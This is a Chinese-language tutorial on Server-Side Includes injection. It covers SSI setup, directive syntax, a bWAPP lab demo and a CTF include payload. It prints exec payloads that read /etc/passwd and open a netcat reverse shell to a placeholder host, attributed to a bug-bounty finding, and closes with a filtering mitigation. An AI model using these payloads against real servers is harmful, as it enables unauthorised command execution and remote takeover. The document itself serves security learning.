申明:该文章仅供安全学习和技术分享,请勿将该文章和文章中提到的技术用于违法活动上,切勿在非授权状态下对其他站点进行测试,如产生任何后果皆由读者本人承担!
如有侵权,请联系后台进行删除。转载请注明出处,感谢!
SSI 注入漏洞总结
SSI 注入全称 Server-Side Includes Injection,中文意思就是服务端包含注入。从技术层面上来说,SSI 是在 HTML 文件中,可以通过注释行调用的命令或指针。在很多的场景中,当用户输入的内容可以显示在当前页面中,比如存在反射型 XSS 漏洞的页面,如果用户的输入的 payload 不是 XSS 代码而是 SSI 的标签,并且服务器又开启了SSI 支持的话,那么网站就存在 SSI 注入漏洞。
2.1 如何开启 SSI
例如:Nginx 配置 SSI
在 http 段中加入下面几句即可:
ssi on;
ssi_silent_errors off;
ssi_types text/shtml;
默认 Apache 是不开启 SSI 的,因为 SSI 这种技术已经很少用了。如果应用并没有使用到 SSI,那么关闭服务器对 SSI 的支持即可。
2.2 漏洞存在条件
- Web 服务器已经支持 SSI。(如:.stm,.shtm,.shtml 文件后缀名表明网页文件是支持 SSI 指令的)
- Web 应用程序在返回 HTML 页面时,嵌入了用户的输入。
3.1 显示服务器端环境变量 <#echo>
本文档名称:
<!–#echo var="DOCUMENT_NAME"–>
现在时间:
<!–#echo var="DATE_LOCAL"–>
显示 IP 地址:
<! #echo var="REMOTE_ADDR"–>
3.2 将文本内容直接插入到文档中 <#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
注:file 包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual 包含文件可以是Web站点上的虚拟目录的完整路径。附上在一次 ctf 题目中使用到的 SSI 指令 <!--%23include virtual="flag" -->
3.3 显示 Web 文档相关信息 <#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<! #flastmod file="文件名称"–>
文件的长度:
<!–#fsize file="文件名称"–>
3.4 直接执行服务器上的各种程序 <#exec>(如 CGI 或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
将某一外部程序的输出插入到页面中。可插入 CGI 程序或者是常规应用程序的输入,这取决于使用的参数是 CMD 还是 CGI。
3.5 设置 SSI 信息显示格式 <#config>(如文件制作日期/大小显示方式)
设置默认错误信息:errmsg
<!--#config errmsg="Error,please contact webmaster@mail.com"-->
定义日期和时间格式:timefmt
<!--#config timefmt="%A, %B %d, %Y"-->
定义文件大小单位
<!--#config sizefmt="bytes"-->
config 命令只对其后使用的命令生效。同时,后定义的设置具有更高的优先级,会覆盖之前的设置。
3.6 高级 SSI 可设置变量使用 if 条件语句
<!--#if expr="test_condition" -->
<!--#elif expr="test_condition" -->
<!--#else -->
<!--#endif -->
示例如下:
<!--#if expr="$DOCUMENT_NAME=index.shtml"-->
<p>这是通过 if 判断当前文档名为 "index.shtml" 后显示</p>
<!--#elif expr="$DOCUMENT_NAME=index.html"-->
<p>这是通过 if 判断当前文档名为 "index.html" 后显示</p>
<!--#else -->
<p>既不是 "index.shtml",也不是 "index.html"</p>
<!--#endif -->
4.1 bWAPP 中的SSI
bWAPP选择:「'Server-Side Includes (SSI) Injection'」
输入 <!--#echo var="DATE_LOCAL"-->
可以看到成功的解析执行了。medium 难度下 " 被转义加上反斜杠,但是在这里可以使用 ` 来代替 ' 执行,一样能够触发。
4.2 大佬挖到 SRC 中的 SSI
"-->'-->`--><<!--#exec cmd="cat /etc/passwd"-->
"-->'-->`--><<!--#exec cmd="nc x.x.x.x 9090 -e /bin/bash"-->
反弹 shell
- 过滤相关 SSI 特殊字符 (
<,>,#,-,",'
)
- 服务器端包含、嵌入技术 SSI(Server SideInc lude) 详解:https://www.cnblogs.com/btar/p/15732177.html
- SSI 注入:https://cloud.tencent.com/developer/article/1636068